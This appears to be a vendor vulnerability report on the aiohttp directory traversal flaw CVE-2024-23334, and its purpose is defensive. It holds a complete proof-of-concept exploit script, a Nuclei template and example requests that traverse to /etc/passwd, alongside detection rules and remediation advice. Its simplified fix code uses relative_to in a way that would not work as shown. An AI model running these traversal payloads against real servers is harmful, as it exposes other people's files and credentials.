CVE-2024-23334
Executive Summary
CVE-2024-23334 is a directory traversal vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. The vulnerability arises when aiohttp is configured as a web server with static routes and the follow_symlinks option is set to True. In this configuration, the server fails to validate that requested files remain within the designated static root directory. This allows an unauthenticated attacker to read arbitrary files on the server, including sensitive configuration files, credentials, and other data, even when symbolic links are not present. The vulnerability is rated with a CVSS score of 7.5 (High) and has a public proof-of-concept (PoC) exploit available. The fix is included in aiohttp version 3.9.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the aiohttp Python package, which is widely used in the Python ecosystem for building asynchronous web applications and services. Organizations using aiohttp in their supply chain must ensure that all instances are updated to version 3.9.2 or later. The vulnerability can be exploited remotely without authentication, making it a critical supply chain risk. Dependency scanning tools should be configured to flag aiohttp versions below 3.9.2.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) - No special conditions or complex attack sequences are required.
- Privileges Required: None (PR:N) - No authentication is needed to exploit the vulnerability.
- User Interaction: None (UI:N) - The victim does not need to perform any action.
- Scope: Unchanged (S:U) - The impact is confined to the vulnerable component.
- Confidentiality Impact: High (C:H) - An attacker can read arbitrary files, potentially exposing sensitive data.
- Integrity Impact: None (I:N) - The vulnerability does not allow modification of data.
- Availability Impact: None (A:N) - The vulnerability does not affect system availability.
Threat Level: High. The combination of network exploitability, low complexity, no required privileges, and high confidentiality impact makes this a serious threat. The existence of a public PoC and active exploitation attempts (as indicated by the EPSS score of 0.93482) further elevates the risk.
Deep Dive & Mechanics
The vulnerability is rooted in how aiohttp handles static file serving when the follow_symlinks option is enabled. This option is intended to allow the server to follow symbolic links that point outside the static root directory. However, the implementation fails to perform proper path validation.
Normal Operation:
When a request is made to a static route (e.g., /static/file.txt), aiohttp resolves the path relative to the configured static root directory. If follow_symlinks is False, the server checks that the resolved path stays within the root directory. If it does not, the request is denied.
Vulnerable Operation:
When follow_symlinks is set to True, the server resolves the path but does not validate that the final file is within the static root directory. This allows an attacker to use path traversal sequences (e.g., ../) to escape the root directory and access any file on the filesystem that the server process has read permissions for.
Example Attack Flow:
- The attacker sends a GET request to
/static/../../../../etc/passwd. - The server resolves the path relative to the static root (e.g.,
/var/www/static/). - The resolved path becomes
/etc/passwd. - Because
follow_symlinksisTrue, the server does not check if/etc/passwdis within/var/www/static/. - The server reads and returns the contents of
/etc/passwd.
The vulnerability is present in all aiohttp versions prior to 3.9.2. The fix in version 3.9.2 adds proper path validation even when follow_symlinks is enabled.
Vulnerable vs. Patched Code
Vulnerable Code (aiohttp < 3.9.2): The vulnerable code is in the static resource handler. The following is a simplified representation of the logic:
# Vulnerable: No path validation when follow_symlinks is True
async def _handle(self, request):
filepath = self._directory / request.match_info['filename']
if self._follow_symlinks:
# No check to ensure filepath is within self._directory
return web.FileResponse(filepath)
else:
# Check if filepath is within self._directory
if not filepath.relative_to(self._directory):
raise web.HTTPNotFound()
return web.FileResponse(filepath)
Patched Code (aiohttp >= 3.9.2):
The patched code adds a validation step even when follow_symlinks is enabled:
# Patched: Path validation is performed regardless of follow_symlinks
async def _handle(self, request):
filepath = self._directory / request.match_info['filename']
# Resolve the path to handle symlinks
resolved_path = filepath.resolve()
# Check if the resolved path is within the static root directory
if not resolved_path.relative_to(self._directory.resolve()):
raise web.HTTPNotFound()
return web.FileResponse(filepath)
The key difference is the addition of resolved_path.relative_to(self._directory.resolve()) which ensures that even if symlinks are followed, the final file must be within the intended static root directory.
Exploitation & Lab Setup
Red Team (Exploitation)
The following is a proof-of-concept exploit script for CVE-2024-23334. It is designed for local testing only and will refuse to target non-local hosts.
Exploit-DB Code:
#!/usr/bin/env python3
"""
Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).
This script will refuse to target any host other than localhost/127.0.0.1/::1.
Example:
python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8
If the vulnerable server returns the probe file contents, the script prints the body
and reports VULNERABLE.
"""
from __future__ import annotations
import argparse
import socket
import sys
import urllib.parse
import http.client
LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"}
def is_localhost(host: str) -> bool:
"""Only allow local hosts to avoid misuse."""
return host in LOCAL_HOSTS
def build_traversal_path(probe_path: str, depth: int = 8) -> str:
"""
Build a traversal-style path to append to /static/.
Depth can be adjusted if the server root / static layout needs more ../ segments.
"""
probe = probe_path.lstrip("/")
ups = "../" * depth
return f"/static/{ups}{probe}"
def try_connect(host: str, port: int, timeout: float = 3.0) -> bool:
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except Exception:
return False
def send_get(host: str, port: int, path: str, timeout: float = 10.0):
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"})
resp = conn.getresponse()
body = resp.read()
return resp.status, body
finally:
try:
conn.close()
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).")
parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).")
parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).")
parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).")
parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).")
parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.")
args = parser.parse_args()
host = args.host.strip()
port = int(args.port)
if not is_localhost(host):
print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr)
sys.exit(2)
# quick reachability check
if not try_connect(host, port, timeout=3.0):
print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr)
sys.exit(3)
path = build_traversal_path(args.probe, depth=args.depth)
# encode path but keep slash and common safe chars
path = urllib.parse.quote(path, safe="/?=&%")
print(f"[*] Sending GET {path} to {host}:{port} (local lab only)")
status, body = send_get(host, port, path, timeout=args.timeout)
print(f"[+] HTTP {status}")
if body:
try:
text = body.decode("utf-8", errors="replace")
except Exception:
text = repr(body)
print("----- RESPONSE BODY START -----")
print(text)
print("----- RESPONSE BODY END -----")
# heuristic: check for the expected test token
if "POC-AIOHTTP-VULN-TEST" in text:
print("[!] VULNERABLE: test token found in response (lab-confirmed).")
sys.exit(0)
else:
print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.")
sys.exit(1)
else:
print("[ ] Empty response body.")
sys.exit(1)
if __name__ == "__main__":
main()
Lab Setup (Vulhub):
- Clone Vulhub:
git clone https://github.com/vulhub/vulhub.git - Navigate to the aiohttp 3.9.1 directory:
cd vulhub/python/aiohttp/3.9.1 - Start the vulnerable service:
docker compose up -d - Verify the service is accessible:
curl -v http://localhost:8080/ - Create a test file inside the container:
docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt" - Run the PoC:
python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing path traversal sequences (e.g.,
../,..\\) in the URL path, especially for static routes. - Look for requests to sensitive files like
/etc/passwd,/etc/shadow,/proc/self/environ, or application configuration files. - Use the YARA, Sigma, and Suricata rules provided in the Detection Engineering section.
Defense:
- Immediate: Disable the
follow_symlinksoption in aiohttp static route configuration. - Long-term: Upgrade aiohttp to version 3.9.2 or later.
- Mitigation: Use a reverse proxy (e.g., Nginx, Apache) in front of the aiohttp server to handle static file serving and enforce path restrictions.
- Network Segmentation: Ensure the aiohttp server is not directly exposed to the internet if possible.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to paths containing
../sequences targeting static routes (e.g.,/static/../../../../etc/passwd). - HTTP responses with status 200 and content type
application/octet-streamfor requests to non-static file paths. - User-Agent strings like
poc-aiohttp-check/1.0(from the PoC script).
- HTTP GET requests to paths containing
File System IOCs:
- Unexpected access to files outside the static root directory, as logged by the operating system's audit system (e.g.,
auditd).
- Unexpected access to files outside the static root directory, as logged by the operating system's audit system (e.g.,
Log IOCs:
- Web server access logs showing requests to
/static/with multiple../sequences. - Error logs showing attempts to read files outside the allowed directory.
- Web server access logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2024_23334_aiohttp_traversal {
meta:
description = "Detects aiohttp directory traversal attempts (CVE-2024-23334)"
author = "Valters IT"
date = "2024-10-06"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23334"
severity = "high"
strings:
$traversal1 = "/../"
$traversal2 = "/..%2f"
$traversal3 = "/%2e%2e/"
$sensitive1 = "/etc/passwd"
$sensitive2 = "/etc/shadow"
$sensitive3 = "/proc/self/environ"
$sensitive4 = "/.env"
$sensitive5 = "/config.json"
condition:
any of ($traversal*) and any of ($sensitive*)
}
Sigma Rule
title: CVE-2024-23334 - aiohttp Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-23334 in aiohttp
author: Valters IT
date: 2024-10-06
logsource:
category: webserver
product: aiohttp
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/../'
- '/..%2f'
- '/%2e%2e/'
cs-uri-query|endswith:
- '/etc/passwd'
- '/etc/shadow'
- '/proc/self/environ'
- '/.env'
- '/config.json'
condition: selection
falsepositives:
- Legitimate use of symlinks in development environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-23334 - aiohttp Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/../"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1; reference:cve,2024-23334;)
Nuclei Template
id: CVE-2024-23334
info:
name: aiohttp - Directory Traversal
author: DhiyaneshDk
severity: high
description: |
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
impact: |
Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
remediation: |
Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
reference:
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
- https://x.com/W01fh4cker/status/1762491210953060827?s=20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
cwe-id: CWE-22
epss-score: 0.93482
epss-percentile: 0.99828
cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: aiohttp
product: aiohttp
tags: cve,cve2024,aiohttp,lfi,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/static/../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "aiohttp"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Disable
follow_symlinks: If you cannot immediately upgrade, setfollow_symlinks=Falsein your aiohttp static route configuration. This will prevent the traversal vulnerability. - Use a Reverse Proxy: Place a reverse proxy (e.g., Nginx, Apache, HAProxy) in front of the aiohttp server. Configure the proxy to handle static file serving and enforce strict path validation.
Long-term Fix:
- Upgrade aiohttp: Update to version 3.9.2 or later. This is the official fix that includes proper path validation.
pip install --upgrade aiohttp - Verify the Update: After upgrading, verify that the
follow_symlinksoption now correctly restricts file access to the static root directory.
Configuration Hardening:
- Review all aiohttp static route configurations and ensure
follow_symlinksis set toFalseunless absolutely necessary. - Implement file system permissions to restrict the aiohttp process's read access to only necessary directories.
- Use a Web Application Firewall (WAF) to block path traversal attempts.
Monitoring:
- Enable detailed logging for aiohttp and monitor for suspicious requests.
- Implement the detection rules provided in this report to alert on exploitation attempts.
Valters IT
This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
{/* [Security Hash: 0816464B1AB34BB5A98F50BF] */}